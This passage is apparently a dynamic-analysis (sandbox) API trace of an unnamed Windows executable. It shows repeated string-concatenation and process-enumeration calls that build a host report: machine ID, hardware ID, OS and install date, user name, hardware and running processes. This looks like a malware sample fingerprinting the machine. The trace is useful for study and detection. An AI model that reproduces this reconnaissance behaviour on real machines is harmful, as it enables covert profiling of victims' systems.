03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n"
[0054.835] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.836] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- "
[0054.836] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe"
[0054.836] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe ["
[0054.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d958
[0054.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daf8
[0054.836] GetLastError () returned 0x7a
[0054.836] SetLastError (dwErrCode=0x7a)
[0054.836] GetLastError () returned 0x7a
[0054.836] SetLastError (dwErrCode=0x7a)
[0054.836] GetLastError () returned 0x7a
[0054.836] SetLastError (dwErrCode=0x7a)
[0054.836] GetLastError () returned 0x7a
[0054.836] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] GetLastError () returned 0x7a
[0054.837] SetLastError (dwErrCode=0x7a)
[0054.837] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.837] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daf8 | out: hHeap=0x670000) returned 1
[0054.837] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.837] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d958 | out: hHeap=0x670000) returned 1
[0054.837] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [", lpString2="344" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344"
[0054.837] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n"
[0054.837] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.838] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- "
